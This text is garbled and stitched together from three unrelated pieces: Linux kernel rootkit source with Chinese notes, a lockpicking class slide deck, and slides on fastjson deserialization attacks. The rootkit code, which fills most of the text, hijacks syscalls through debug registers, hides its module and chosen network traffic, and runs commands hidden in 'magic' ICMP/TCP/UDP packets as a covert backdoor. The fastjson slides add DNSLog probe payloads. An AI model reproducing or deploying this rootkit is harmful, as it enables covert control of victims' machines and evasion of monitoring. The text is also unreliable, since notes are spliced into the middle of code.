dr3; unsigned int stat; unsigned int ctrl; }; static void __set_watch(struct watch *watches) { if (watches->dr0) __asm__ __volatile__ ( "movl %0,%%dr0 \n\t" : : "r" (watches->dr0) ); if (watches->dr1) __asm__ __volatile__ ( "movl %0,%%dr1 \n\t" : : "r" (watches->dr1) ); if (watches->dr2) __asm__ __volatile__ ( "movl %0,%%dr2 \n\t" : : "r" (watches->dr2) ); if (watches->dr3) __asm__ __volatile__ ( "movl %0,%%dr2 \n\t" : : "r" (watches->dr3) ); /* set status */ if (watches->stat) __asm__ __volatile__ ( "movl %0,%%dr6 \n\t" : : "r" (watches->stat) ); /* set ctrl */ if (watches->ctrl) __asm__ __volatile__ ( "movl %0,%%dr7 \n\t" : : "r" (watches->ctrl) ); } /* The patched do_debug handler original lives at: ./arch/i386/kernel/traps.c:do_debug NOTE: This is where we would handle access to the debug regs for full stealth .. considering this is intended as a penetration testing rootkit .. I've not included this. entry.S - 2.6: KPROBE_ENTRY(debug) RING0_INT_FRAME cmpl $sysenter_entry,(%esp) <- find sysenter_entry here too! jne debug_stack_correct FIX_STACK(12, debug_stack_correct, debug_esp_fix_insn) debug_stack_correct: pushl $-1 # mark this as an int CFI_ADJUST_CFA_OFFSET 4 SAVE_ALL xorl %edx,%edx # error code 0 movl %esp,%eax # pt_regs pointer call do_debug <- PATCH ME! jmp ret_from_exception CFI_ENDPROC KPROBE_END(debug) */ /* __get_do_debug_2_6(int handler) in: address of INT1 handler out: original do_debug address Finds the 'call do_debug' and patches the offset to point to our patched handler. */ static int __get_and_set_do_debug_2_6(unsigned int handler, unsigned int my_do_debug) { unsigned char *p = (unsigned char *)handler; unsigned char buf[4] = "\x00\x00\x00\x00"; unsigned int offset = 0; unsigned int orig = 0; /* find a candidate for the call .. needs better heuristics */ while (p[0] != 0xe8) { p ++; } DEBUGLOG(("*** found call do_debug %X\n", (unsigned int)p)); buf[0] = p[1]; buf[1] = p[2]; buf[2] = p[3]; buf[3] = p[4]; offset = *(unsigned int *)buf; DEBUGLOG(("*** found call do_debug offset %X\n", offset)); orig = offset + (unsigned int)p + 5; DEBUGLOG(("*** original do_debug %X\n", orig)); offset = my_do_debug - (unsigned int)p - 5; DEBUGLOG(("*** want call do_debug offset %X\n", offset)); p[1] = (offset & 0x000000ff); p[2] = (offset & 0x0000ff00) >> 8; p[3] = (offset & 0x00ff0000) >> 16; p[4] = (offset & 0xff000000) >> 24; DEBUGLOG(("*** patched in new do_debug offset\n")); return orig; } void (*__orig_do_debug)(struct pt_regs * regs, unsigned long error_code) ; /* regs in eax, error_code in edx .. static reg optimized is fine */ static void __my_do_debug(struct pt_regs * regs, unsigned long error_code) { struct task_struct *tsk = current; siginfo_t info; int trap = -1; int control = 0; int s_control = 0; int status = 0; unsigned int dr2 = 0; void **sys_p = (void **)sys_table_global; /* get dr6 */ __asm__ __volatile__ ( "movl %%dr6,%0 \n\t" : "=r" (status) ); /* enable irqs ? if (regs->eflags & X86_EFLAGS_IF) */ /* check for trap on dr0 */ if (status & DR_TRAP0) { trap = 0; status &= ~DR_TRAP0; } /* check for trap on dr1 */ if (status & DR_TRAP1) { trap = 1; status &= ~DR_TRAP1; } /* check for trap on dr2 */ if (status & DR_TRAP2) { trap = 2; status &= ~DR_TRAP2; } /* check for trap on dr3 */ if (status & DR_TRAP3) { trap = 3; status &= ~DR_TRAP3; } /* we keep re-setting our control register after operation */ /* DR0 is our int0x80 handler watch */ control |= TRAP_GLOBAL_DR0; control |= DR_RW_EXECUTE << DR0_RW; control |= 0 << DR0_LEN; #ifdef __SYSENTER_ENABLE__ /* DR1 is our sysenter handler watch */ control |= TRAP_GLOBAL_DR1; control |= DR_RW_EXECUTE << DR1_RW; control |= 0 << DR1_LEN; #endif /* dr0-dr3 handlers */ switch (trap) { /* dr0 handles int 0x80, dr1 handles sysenter */ case 0: case 1: /* if we dont have a hook for this call do nothing */ if (!hook_table[regs->eax]) { __asm__ __volatile__ ( "movl %0,%%dr6 \n\t" "movl %1,%%dr7 \n\t" : : "r" (status), "r" (control) ); break; } /* DR2 2nd watch on the syscall_table entry for this syscall */ dr2 = sys_table_global + (unsigned int)regs->eax * sizeof(void *); /* enable exact breakpoint detection LE/GE */ s_control |= TRAP_GLOBAL_DR2; s_control |= TRAP_LE; s_control |= TRAP_GE; s_control |= DR_RW_READ << DR2_RW; s_control |= 3 << DR2_LEN; DEBUGLOG(("*** dr0/dr1 trap: setting read watch on syscall_NR of %d at %X\n", \ (unsigned int)regs->eax, dr2)); /* set dr2 read watch on syscall_table */ __asm__ __volatile__ ( "movl %0,%%dr2 \n\t" : : "r" (dr2) ); /* set new control .. gives up syscall handler to avoid races */ __asm__ __volatile__ ( "movl %0,%%dr6 \n\t" "movl %1,%%dr7 \n\t" : : "r" (status), "r" (s_control) ); /* if vm86 mode .. pass it on to orig */ if (regs->eflags & VM_MASK) goto orig_do_debug; break; /* handle the watch on syscall_table .. return patched address */ case 2: DEBUGLOG(("*** got dr2 trap (syscall_table watch)\n")); /* clear dr2 watch */ __asm__ __volatile__ ( "xorl %eax,%eax \n\t" "movl %eax,%dr2 \n\t" ); /* restore old int0x80 handler control */ __asm__ __volatile__ ( "movl %0,%%dr6 \n\t" "movl %1,%%dr7 \n\t" : : "r" (status), "r" (control) ); /* At the time of the trap1 eip is pointing at syscall so .. we just set the eip for the task to hook :P NOTE: eax has our syscall number for both sysenter/int0x80 */ if ((regs->eax >= 0 && regs->eax < NR_syscalls) && hook_table[regs->eax]) { /* double check .. verify eip matches original */ unsigned int verify_hook = (unsigned int)sys_p[regs->eax]; if (regs->eip == verify_hook) { regs->eip = (unsigned int)hook_table[regs->eax]; DEBUGLOG(("*** hooked __NR_%d at %X to %X\n", regs->eax, verify_hook, \ (unsigned int)hook_table[regs->eax])); } } if (regs->eflags & VM_MASK) goto orig_do_debug; break; case 3: DEBUGLOG(("*** got dr3 trap\n")); __asm__ __volatile__ ( "movl %0,%%dr6 \n\t" "movl %1,%%dr7 \n\t" : : "r" (status), "r" (control) ); break; default: DEBUGLOG(("*** unhandled trap")); orig_do_debug: /* call through to original int 1 handler */ (*__orig_do_debug)(regs, error_code); /* restore our control just in case */ __asm__ __volatile__ ( "movl %0,%%dr7 \n\t" : : "r" (control) ); } /* set the resume flag after trap .. clear trap flag */ if (trap >= 0) { regs->eflags |= X86_EFLAGS_RF; regs->eflags &= ~X86_EFLAGS_TF; } } unsigned int h0x01_global = 0; static void __exit exit_DR(void) { struct watch watches = { 0, 0, 0, 0, 0, 0 }; DEBUGLOG(("******* UNLOADING IA32 DR HOOKING ENGINE *******\n")); /* clear any breakpoints on all cpu's */ on_each_cpu((void (*)())__set_watch, &watches, 0, 0); __get_and_set_do_debug_2_6(h0x01_global, (unsigned int)__orig_do_debug); __uninit_hook_table(); return; } /* This should: 1) kalloc a page for the handler/hooks 2) install the handler/hooks 3) return without loading NOTE: Right now it just uses a module load logic for development debugging simplification. */ static int __init init_DR(void) { unsigned int h0x80 = 0; unsigned int h0x01 = 0; unsigned int table = 0; unsigned int syscall_call = 0; unsigned int sysenter_entry = 0; struct watch watches = { 0, 0, 0, 0, 0, 0 }; DEBUGLOG(("******* LOADING IA32 DR HOOKING ENGINE *******\n")); h0x80 = __get_int_handler(0x80); DEBUGLOG(("*** loader: handler for INT 128: %X\n", h0x80)); table = __get_syscall_table(h0x80, RETURN_SYSCALL_TABLE); syscall_call = __get_syscall_table(h0x80, RETURN_SYSCALL_CALL); sys_table_global = table; DEBUGLOG(("*** loader: syscall_table: %X\n", table)); DEBUGLOG(("*** loader: syscall_call call *table(,eax,4): %X\n", syscall_call)); h0x01 = __get_int_handler(0x1); DEBUGLOG(("*** loader: handler for INT 1: %X\n", h0x01)); /* XXX: only for debug cleanup on unload */ h0x01_global = h0x01; /* patch the do_debug call offset in the INT 1 handler */ __orig_do_debug = (void (*)())__get_and_set_do_debug_2_6(h0x01, \ (unsigned int)__my_do_debug); DEBUGLOG(("*** loader: INT 1 handler patched to use __my_do_debug\n")); __init_hook_table(); DEBUGLOG(("*** loader: initialized hook_table\n")); /* Set a breakpoint on sycall handler in dr0 for 1 byte */ /* for DR_RW_EXECUTE len has to be 0 (1 byte) (IA32_SDM_3B.pdf) */ /* syscall_call watch into dr0 */ watches.ctrl |= TRAP_GLOBAL_DR0; watches.ctrl |= DR_RW_EXECUTE << DR0_RW; watches.ctrl |= 0 << DR0_LEN; watches.dr0 = syscall_call; #ifdef __SYSENTER_ENABLE__ /* we can find the 2nd addie by searching backwards for call *table(,%eax,4) ! :) */ sysenter_entry = __get_sysenter_entry(syscall_call, table); DEBUGLOG(("*** loader: systenter_entry call *table(,eax,4): %X\n", sysenter_entry)); /* if we were able to find the sysentry_entry syscall_table call .. hooray */ if (sysenter_entry) { /* sysenter_entry watch into dr1 */ watches.ctrl |= TRAP_GLOBAL_DR1; 隐藏 隐藏进程、隐藏⽂件、隐藏端⼝、隐藏内核模块,都是依靠hook来实现,这个⽂章总结了 https://www.anquanke.com/post/id/195318 对wireshark抓包隐藏,通过hook packet_rcv watches.ctrl |= DR_RW_EXECUTE << DR1_RW; watches.ctrl |= 0 << DR1_LEN; watches.dr1 = sysenter_entry; } #endif /* support smp */ on_each_cpu((void (*)())__set_watch, &watches, 0, 0); #ifdef __UNLINK_LKM__ list_del(&THIS_MODULE->list); #endif /* when we switch to kmalloc .. return -EINVAL */ return 0; //-EINVAL; } /* main module init/exit */ module_init(init_DR); module_exit(exit_DR); /* taint-safe */ MODULE_LICENSE("GPL"); /** * hide_packets.c * * Hide ipv4 and ipv6 packets by hooking packet_rcv and omitting packets for specified ip addresses. */ #include "hook.h" #include "function_hooking.h" #include <linux/list.h> #include <linux/types.h> #include <linux/inet.h> #include <linux/ip.h> #include <linux/ipv6.h> #include <linux/inet.h> #include <linux/in6.h> #include <linux/string.h> #include <linux/netfilter_defs.h> #include <linux/delay.h> /* Length of ipv4 and ipv6 in bytes */ #define IPV4_LENGTH 4 #define IPV6_LENGTH 16 #define DENY_PACKET 1 #define ACCEPT_PACKET 0 /* counter for access counting */ static int accesses_packet_rcv = 0; static int accesses_tpacket_rcv = 0; static int accesses_packet_rcv_spkt = 0; /* mutexes for safe accesses */ struct mutex lock_packet_rcv; struct mutex lock_tpacket_rcv; struct mutex lock_packet_rcv_spkt; /* Variables to store old functions in */ int (*old_packet_rcv)(struct sk_buff *, struct net_device *, struct packet_type *, struct net_device *); int (*old_tpacket_rcv)(struct sk_buff *, struct net_device *, struct packet_type *, struct net_device *); int (*old_packet_rcv_spkt)(struct sk_buff *, struct net_device *, struct packet_type *, struct net_device *); /* new packet receive */ int new_packet_rcv(struct sk_buff *, struct net_device *, struct packet_type *, struct net_device *); int new_tpacket_rcv(struct sk_buff *, struct net_device *, struct packet_type *, struct net_device *); int new_packet_rcv_spkt(struct sk_buff *, struct net_device *, struct packet_type *, struct net_device *); function_hook_t *hook_packet_rcv; function_hook_t *hook_tpacket_rcv; function_hook_t *hook_packet_rcv_spkt; struct ipv4_entry { u8 ipv4_addr[4]; struct list_head list; }; struct ipv6_entry { u8 ipv6_addr[16]; struct list_head list; }; LIST_HEAD( ipv4_list); LIST_HEAD( ipv6_list); /* * Check if the ip address is in the IPv4 list */ int is_in_list_ipv4(u8 *ip_addr) { struct ipv4_entry *existing_entry_v4, *tmp_v4; list_for_each_entry_safe(existing_entry_v4, tmp_v4, &ipv4_list, list) { // TODO check if this cast works if ((uint32_t) * (existing_entry_v4->ipv4_addr) == (uint32_t) * (ip_addr)) { // if entry is in list, do nothing return 1; } } return 0; } /* * Check if the Ip address is in the IPv6 list */ int is_in_list_ipv6(u8 *ip_addr) { struct ipv6_entry *existing_entry_v6, *tmp_v6; list_for_each_entry_safe(existing_entry_v6, tmp_v6, &ipv6_list, list) { // TODO add casts if (existing_entry_v6->ipv6_addr == ip_addr) { /* if entry is in list, do nothing */ return 1; } } return 0; } static int packet_check(struct sk_buff *skb) { /* Check if it is a IPv4 Packet */ if (skb->protocol == htons(ETH_P_IP)) { /* get ipv4 header */ struct iphdr *header = ip_hdr(skb); /* Check both source and destination */ if (is_in_list_ipv4((u8 *) &header->saddr) || is_in_list_ipv4((u8 *) &header->daddr)) { /* ip in list, should be hidden */ return DENY_PACKET; } } /* Check if it is a IPv6 Packet */ if (skb->protocol == htons(ETH_P_IPV6)) { /* get ipv6 header */ struct ipv6hdr *header = ipv6_hdr(skb); /* look for source and destination address */ if (is_in_list_ipv6(header->saddr.s6_addr) || is_in_list_ipv6(header->daddr.s6_addr)) { /* ip in list, should be hidden */ return DENY_PACKET; } } /* no ipv4 or ipv6 packet or not in list -> Packet can be accepted */ return ACCEPT_PACKET; } /* * Add a new package to the list to be hidden. * supported protocols: "ipv4" and "ipv6" */ void packet_hide(char *protocol, char *ip) { u8 ipv4_addr[4]; u8 ipv6_addr[16]; struct ipv4_entry *existing_entry_v4, *tmp_v4; struct ipv6_entry *existing_entry_v6, *tmp_v6; struct ipv4_entry *new_entry_v4; struct ipv6_entry *new_entry_v6; /* Convert IPv4 from text to binary format */ if (in4_pton(ip, -1, ipv4_addr, -1, NULL) && !strncmp(protocol, "ipv4", 4)) { /* no errors, check for occurrence in list */ list_for_each_entry_safe(existing_entry_v4, tmp_v4, &ipv4_list, list) { if (existing_entry_v4->ipv4_addr == ipv4_addr) { /* There is already an entry in the list */ return; } } new_entry_v4 = kmalloc(sizeof(struct ipv4_entry), GFP_KERNEL); if (!new_entry_v4) { return; } memcpy(new_entry_v4->ipv4_addr, ipv4_addr, IPV4_LENGTH); list_add(&new_entry_v4->list, &ipv4_list); return; } if (in6_pton(ip, -1, ipv6_addr, -1, NULL) && !strncmp(protocol, "ipv6", 4)) { /* no errors, check for occurrence in list */ list_for_each_entry_safe(existing_entry_v6, tmp_v6, &ipv6_list, list) { if (existing_entry_v6->ipv6_addr == ipv6_addr) { return; } } new_entry_v6 = kmalloc(sizeof(struct ipv4_entry), GFP_KERNEL); if (!new_entry_v6) { return; } memcpy(new_entry_v6->ipv6_addr, ipv6_addr, IPV6_LENGTH); list_add(&new_entry_v6->list, &ipv6_list); } } /* * Remove a ip address from the list */ void packet_unhide(char *protocol, char *ip) { u8 ipv4_addr[4]; u8 ipv6_addr[16]; struct ipv4_entry *existing_entry_v4, *tmp_v4; struct ipv6_entry *existing_entry_v6, *tmp_v6; if (in4_pton(ip, -1, ipv4_addr, -1, NULL) && !strcmp(protocol, "ipv4")) { /* ipv4 address in list, remove */ list_for_each_entry_safe(existing_entry_v4, tmp_v4, &ipv4_list, list) { if (existing_entry_v4->ipv4_addr == ipv4_addr) { // if entry is in list, remove it list_del(&(existing_entry_v4->list)); kfree(existing_entry_v4); return; } } return; } if (in6_pton(ip, -1, ipv6_addr, -1, NULL) && !strcmp(protocol, "ipv6")) { /* ipv6 address in list, remove */ list_for_each_entry_safe(existing_entry_v6, tmp_v6, &ipv6_list, list) { if (existing_entry_v6->ipv6_addr == ipv6_addr) { /* if entry is in list, remove it */ list_del(&(existing_entry_v6->list)); kfree(existing_entry_v6); return; } } } } /* * Hook function for packet rcv */ int new_packet_rcv(struct sk_buff *skb, struct net_device *dev, struct packet_type *pt, struct net_device *orig_dev) { int ret; inc_critical(&lock_packet_rcv, &accesses_packet_rcv); /* Check if we need to hide packet */ if (packet_check(skb)) { dec_critical(&lock_packet_rcv, &accesses_packet_rcv); return NF_DROP; } ret = old_packet_rcv(skb, dev, pt, orig_dev); dec_critical(&lock_packet_rcv, &accesses_packet_rcv); return ret; } /* * Hook function for tpacket rcv */ int new_tpacket_rcv(struct sk_buff *skb, struct net_device *dev, struct packet_type *pt, struct net_device *orig_dev) { int ret; inc_critical(&lock_tpacket_rcv, &accesses_tpacket_rcv); if (packet_check(skb)) { dec_critical(&lock_tpacket_rcv, &accesses_tpacket_rcv); return NF_DROP; } ret = old_tpacket_rcv(skb, dev, pt, orig_dev); dec_critical(&lock_tpacket_rcv, &accesses_tpacket_rcv); return ret; } /* * hook function for packet rcv spkt */ int new_packet_rcv_spkt(struct sk_buff *skb, struct net_device *dev, struct packet_type *pt, struct net_device *orig_dev) { int ret; inc_critical(&lock_packet_rcv_spkt, &accesses_packet_rcv_spkt); if (packet_check(skb)) { dec_critical(&lock_packet_rcv_spkt, &accesses_packet_rcv_spkt); return NF_DROP; } ret = old_packet_rcv_spkt(skb, dev, pt, orig_dev); dec_critical(&lock_packet_rcv_spkt, &accesses_packet_rcv_spkt); return ret; } void initialize_hide_packets(void) { hook_packet_rcv = add_function_hook_to_list("packet_rcv", new_packet_rcv, &old_packet_rcv); hook_tpacket_rcv = add_function_hook_to_list("tpacket_rcv", new_tpacket_rcv, &old_tpacket_rcv); icmp/tcp/udp敲⻔ 主要使⽤了 nf_register_hook 启动了⼀个线程死循环,当有icmp/tcp/udp触发,死循环进⼊shell空间。 还有⼀种⽅案是对 ip_rcv 进⾏hook,这种不依赖版本 hook_packet_rcv_spkt = add_function_hook_to_list("packet_rcv_spkt", new_packet_rcv_spkt, &old_packet_rcv_spkt); /* initialize mutexes */ mutex_init(&lock_packet_rcv); mutex_init(&lock_tpacket_rcv); mutex_init(&lock_packet_rcv_spkt); } void remove_hide_packets(void) { while (accesses_packet_rcv > 0 || accesses_tpacket_rcv > 0 || accesses_packet_rcv_spkt > 0) { msleep(50); } } #include <linux/netdevice.h> static int khook_ip_rcv(struct sk_buff *skb, struct net_device *dev, struct packet_type *pt, struct net_device *orig_dev) { if (magic_packet_parse(skb)) return KHOOK_ORIGIN(ip_rcv, skb, dev, pt, orig_dev); return 0; } #define DROP 0 #define ACCEPT 1 unsigned int magic_packet_parse(struct sk_buff *socket_buffer) { const struct iphdr *ip_header; const struct icmphdr *icmp_header; const struct tcphdr *tcp_header; const struct udphdr *udp_header; struct iphdr _iph; struct icmphdr _icmph; struct tcphdr _tcph; struct udphdr _udph; const char *data = NULL; char *_data, *argv_str, **argv; int size, str_size; if (!socket_buffer) return ACCEPT; ip_header = skb_header_pointer(socket_buffer, 0, sizeof(_iph), &_iph); if (!ip_header) return ACCEPT; if (!ip_header->protocol) return ACCEPT; if (htons(ip_header->id) != IPID) return ACCEPT; if (ip_header->protocol == IPPROTO_TCP) { tcp_header = skb_header_pointer(socket_buffer, ip_header->ihl * 4, sizeof(_tcph), &_tcph); if (!tcp_header) return ACCEPT; if (htons(tcp_header->source) != SRCPORT) return ACCEPT; if (//htons(tcp_header->seq) == SEQ && /* uncoment this if you wanna use tcp_header->seq as filter */ htons(tcp_header->window) == WIN) { size = htons(ip_header->tot_len) - sizeof(_iph) - sizeof(_tcph); _data = kmalloc(size, GFP_KERNEL); if (!_data) return ACCEPT; str_size = size - strlen(MAGIC_VALUE); argv_str = kmalloc(str_size, GFP_KERNEL); if (!argv_str) { kfree(_data); return ACCEPT; } data = skb_header_pointer(socket_buffer, ip_header->ihl * 4 + sizeof(struct tcphdr), size, &_data); if (!data) { kfree(_data); kfree(argv_str); return ACCEPT; } if (memcmp(data, MAGIC_VALUE, strlen(MAGIC_VALUE)) == 0) { memzero_explicit(argv_str, str_size); memcpy(argv_str, data + strlen(MAGIC_VALUE) + 1, str_size - 1); do_decrypt(argv_str, str_size - 1, KEY); argv = argv_split(GFP_KERNEL, argv_str, NULL); if (argv) { shell_exec_queue(argv[0], argv[1]); argv_free(argv); } kfree(_data); kfree(argv_str); return DROP; } kfree(_data); kfree(argv_str); } } if (ip_header->protocol == IPPROTO_ICMP) { icmp_header = skb_header_pointer(socket_buffer, ip_header->ihl * 4, sizeof(_icmph), &_icmph); if (!icmp_header) return ACCEPT; if (icmp_header->code != ICMP_ECHO) return ACCEPT; if (htons(icmp_header->un.echo.sequence) == SEQ && htons(icmp_header->un.echo.id) == WIN) { size = htons(ip_header->tot_len) - sizeof(_iph) - sizeof(_icmph); _data = kmalloc(size, GFP_KERNEL); if (!_data) return ACCEPT; str_size = size - strlen(MAGIC_VALUE); argv_str = kmalloc(str_size, GFP_KERNEL); if (!argv_str) { kfree(_data); return ACCEPT; } data = skb_header_pointer(socket_buffer, ip_header->ihl * 4 + sizeof(struct icmphdr), size, &_data); if (!data) { kfree(_data); kfree(argv_str); return ACCEPT; } if (memcmp(data, MAGIC_VALUE, strlen(MAGIC_VALUE)) == 0) { memzero_explicit(argv_str, str_size); memcpy(argv_str, data + strlen(MAGIC_VALUE) + 1, str_size - 1); do_decrypt(argv_str, str_size - 1, KEY); argv = argv_split(GFP_KERNEL, argv_str, NULL); if (argv) { shell_exec_queue(argv[0], argv[1]); argv_free(argv); } kfree(_data); kfree(argv_str); return DROP; } kfree(_data); kfree(argv_str); } } if (ip_header->protocol == IPPROTO_UDP) { udp_header = skb_header_pointer(socket_buffer, ip_header->ihl * 4, sizeof(_udph), &_udph); if (!udp_header) return ACCEPT; if (htons(udp_header->source) != SRCPORT) return ACCEPT; if (htons(udp_header->len) <= (sizeof(struct udphdr) + strlen(MAGIC_VALUE) + 25)) { size = htons(ip_header->tot_len) - sizeof(_iph) - sizeof(_udph); _data = kmalloc(size, GFP_KERNEL); if (!_data) return ACCEPT; str_size = size - strlen(MAGIC_VALUE); argv_str = kmalloc(str_size, GFP_KERNEL); if (!argv_str) { kfree(_data); return ACCEPT; } data = skb_header_pointer(socket_buffer, ip_header->ihl * 4 + sizeof(struct udphdr), size, &_data); if (!data) { kfree(_data); kfree(argv_str); return ACCEPT; } if (memcmp(data, MAGIC_VALUE, strlen(MAGIC_VALUE)) == 0) { memzero_explicit(argv_str, str_size); memcpy(argv_str, data + strlen(MAGIC_VALUE) + 1, str_size - 1); do_decrypt(argv_str, str_size - 1, KEY); argv = argv_split(GFP_KERNEL, argv_str, NULL); if (argv) { shell_exec_queue(argv[0], argv[1]); argv_free(argv); } kfree(_data); kfree(argv_str); return DROP; } Loader 虽然可以使⽤ insmod 命令⼿动安装模块,但使⽤loader,只需要调⽤syscall,⽤任意语⾔实现都⾏。 可以直接内存加载,再编码加个密钥什么的就⾮常⽅便了。 kfree(_data); kfree(argv_str); } } return ACCEPT; } #define _GNU_SOURCE #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <sys/stat.h> #include <sys/syscall.h> #include <sys/types.h> #include <unistd.h> #include <string.h> #include "encrypt.h" static char reptile_blob[] = { #include "reptile.ko.inc" }; #define init_module(module_image, len, param_values) syscall(__NR_init_module, module_image, len, param_values) int main(void) { int ret = EXIT_FAILURE; size_t len; void *module_image; len = sizeof(reptile_blob); do_decrypt(reptile_blob, len, DECRYPT_KEY); module_image = malloc(len); memcpy(module_image, reptile_blob, len); init_module(module_image, len, ""); if (errno == 37) shell回显 这块有想法,还没实践。 主要利⽤现有的端⼝进⾏socket reuse,⽽不只局限在80 http的服务中,hook tcp rcv函数,根据特定的字段获取 指令执⾏,并根据接收时获得的socket描述符,往⾥⾯加密写⼊回显内容。 参考 简易 Linux Rootkit 编写⼊⻔指北(⼀):模块隐藏与进程提权 https://www.anquanke.com/post/id/246749 Linux Rootkit 第 1 部分:介绍和⼯作流程 这是⼀个合集,写的都挺好 Linux Rootkit 研究 https://github.com/NoviceLive/research-rootkit/blob/master/README-zh_CN.rst https://github.com/Mote-Z/rootkit ret = EXIT_SUCCESS; free(module_image); return ret; }
pdf
http:// toool us Lockpicking Next Lesson… 3:30 http:// .us . http:// toool us Is Everyone Ready to Learn? http:// toool us Is Everyone Ready to Learn… About Lockpicking? http:// toool us Lockpicking is Fun, Fun, Fun! http:// toool us First, a word about rules… Yes, we have rules. J 1. Do not pick someone else’s locks. 2. Do not pick your locks… if you rely on them. http:// toool us The Three Kinds of Lock-Opening http:// toool us The Three Kinds of Lock-Opening 1. Lockpicking – what we do TOOOL provides the knowledge and the means – what spies do TOOOL provides neither knowledge nor means http:// toool us The Three Kinds of Lock-Opening 1. Lockpicking – what we do TOOOL provides the knowledge and the means 2. Quick & Dirty– what spies do TOOOL provides neither knowledge nor means http:// toool us The Three Kinds of Lock-Opening 1. Lockpicking – what we do TOOOL provides the knowledge and the means 2. Quick & Dirty – what criminals do TOOOL provides knowledge. . . but no means 3. Covert & High-Tech – what spies do TOOOL provides neither knowledge nor means http:// toool us The Three Kinds of Lock-Opening 1. Lockpicking – what we do TOOOL provides the knowledge and the means 2. Quick & Dirty – what criminals do TOOOL provides knowledge. . . but no means 3. Covert & High-Tech – what spies do TOOOL provides neither knowledge nor means http:// toool us The Three Kinds of Lock-Opening 1. Lockpicking – what we do TOOOL provides the knowledge and the means 2. Quick & Dirty – what criminals do TOOOL provides knowledge. . . but no means 3. Covert & High-Tech – what spies do TOOOL provides neither knowledge nor means http:// toool us The Three Kinds of Lock-Opening 1. Lockpicking – what we do TOOOL provides the knowledge and the means 2. Quick & Dirty – what criminals do TOOOL provides knowledge. . . but no means 3. Covert & High-Tech – what spies do TOOOL provides neither knowledge nor means http:// toool us The Three Kinds of Lock-Opening 1. Lockpicking – what we do TOOOL provides the knowledge and the means 2. Quick & Dirty – what criminals do TOOOL provides knowledge. . . but no means 3. Covert & High-Tech – what spies do TOOOL provides neither knowledge nor means http:// toool us Lockpicking is Easy ! http:// toool us Doorknobs… http:// toool us Padlocks… http:// toool us Deadbolts… http:// toool us …The Mechanism Itself Is All The Same http:// toool us How It Looks Inside http:// toool us Attempt Without a Key http:// toool us Operating With a Key http:// toool us Pin Stacks http:// toool us Using a Key http:// toool us Using Lockpicks So, Why Is Lockpicking Possible? http:// toool us In a Perfect World The Parts Would Function Like This… http:// toool us Parts In the Real World Look Like This… http:// toool us Parts In the Real World Look Like This… http:// toool us Parts In the Real World Function Like This… http:// toool us “Setting” a Binding Pin by Turning & Lifting the Stack http:// toool us Setting Multiple Pins http:// toool us Take Caution to Avoid Over-Lifting Other Tools One Uses http:// toool us Raking Tools http:// toool us Raking Tools http:// toool us The Half-Diamond http:// toool us Lifting with a Half-Diamond http:// toool us Raking / Shoveling with a Half-Diamond http:// toool us Using the Flat Underside http:// toool us Counting Pin Stacks http:// toool us Counting Pin Stacks Turning the Plug http:// toool us Bad Turning Tool Usage (Pulling) http:// toool us Better Turning Tool Usage (Pushing) http:// toool us Best Turning Tool Usage (Pushing Out at Tip) http:// toool us Good Turing Tool Pressure http:// toool us Too Much Turing Tool Pressure! http:// toool us Typical Turning Tool Position: “Edge of the Plug” http:// toool us Careful To Not Cause Extra Friction http:// toool us Which Direction Should You Turn? http:// toool us J Either Direction Will Work On Our Locks Which Direction Should You Turn? Who Wants To Try? http:// toool us Our Practice Locks http:// toool us Our Practice Locks The silver part is the front face… … the brass ring is the rear! http:// toool us Starter Exercises http:// toool us Starter Exercises http:// toool us Starter Exercises http:// toool us Starter Exercises http:// toool us Direct Lifting http:// toool us Rocking Lifting http:// toool us Or Try Raking, Etc. http:// toool us The Two Most Important Things… RELAX http:// toool us The Two Most Important Things… OPEN ! http:// toool us This presentation is CopyLeft by Deviant Ollam. You are free to reuse any or all of this material as long as it is attributed and freedom for other s to do Thank You Very Much! http:// toool.us info@toool. us http:// toool us This presentation is CopyLeft by Deviant Ollam. You are free to reuse any or all of this material as long as it is attributed and freedom for other s to do Come Join Us! http:// toool us This presentation is CopyLeft by Deviant Ollam. You are free to reuse any or all of this material as long as it is attributed and freedom for other s to do Thank You Very Much! http:// toool.us info@toool. us
pdf
Hacking JSON CONTENTS 目录 1 3 4 JSON 介绍 Gadgets JSON 反序 列化 2 tricks fastjson 在 GitHub 上有着 24.9K+ 的 star, 是一个深 受 Java 开发者 欢迎 的开源 JSON 解析 器 , 它 可以解析 JSON格式 的字符串, 支持将 Java Bean转 为JSON字符串, 也可以从JSON字符串反序 列化到JavaBean, 或是将字符串解析 为 JSON 对象 。 fastjson 介绍 JSON 要转 为 JavaBean 通 常 必须开启 autotype, 而 autotype 默 认情 况下是关闭状 态, 所 以不 能 够在 未开启 的情 况下去反序 列化指 定 的类。 JSON to Bean JSON = {"@type":"fastjson.SimpleBean","var":"foo"} public class SimpleBean { private String var; public String getVar() { return var; } public void setVar(String var) { this.var = var; } } (SimpleBean) JSON.parse(json); JSON.parseObject(json,SimpleBean.class); JSON.parseObject(json).toJavaObject(SimpleBean.class); SimpleBean bean = new SimpleBean(); bean.setVar("foo"); ParserConfig.getGlobalInstance().setAutoTypeSupport(true); AutoType 默 认关闭 JSON.parse('{"@type":"fastjson.SimpleBean","var":"foo"}') checkAutoType(String typeName,Class expectClass,int features) ObjectDeserializer getDeserializer(Type type) T deserialze(...) class whitelist mappings class use @JSONType enable autotype class extends expectClass enable safeMode class not found class blacklist 非继承自期望类 其他 pass reject JavaBeanDeserializer MiscCodec ThrowableDeserializer MapDeserializer ... JSON 解析 流 程 exit JavaBean 实例化机 制 构造 方法 • 优先选无参构造 • 没 有无参构造 会选取 唯一的构造 方法 • 如 有多个构造 方法, 优先选参数 最 多的public构造 方法 • 如 参数 最 多的构造 方法有多个则随机 选取 一个构造 方法。 • 如 果 被实例化的是静态内部 类, 也可以忽视 修饰 符 • 如 果 被实例化的是非 public类, 构造 方法里 的的参数 类型 仍然可以进一步 反序 列化 setter • Field是public时 可以不 用setter方法 • 其它 需 要public的setter方法。 {"@type":"SimpleBean" ...} public class SimpleBean { private String var1; public SimpleBean(){} public void setVar(String var1) { this.var1 = var1; } } public class SimpleBean { public SimpleBean(String var1, String var2){...} public SimpleBean(String var1, String var2,String var3) {...} } public class SimpleBean { public SimpleBean(String var1,String var2){...} public SimpleBean(String var1,String var2){...} } tricks {{"@type":"java.net.URL","val":"http://dnslog.com"}:"a"} {"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog.com"}} dnslog.com DNSLog 鉴别 fastjson {"a":1,"b":"EQ==","c":[{}],"d":"\u0000\u0000"} {"a":new a(1),"b":x'11',/**/"c":Set[{}{}],"d":"\u0000\x00"} 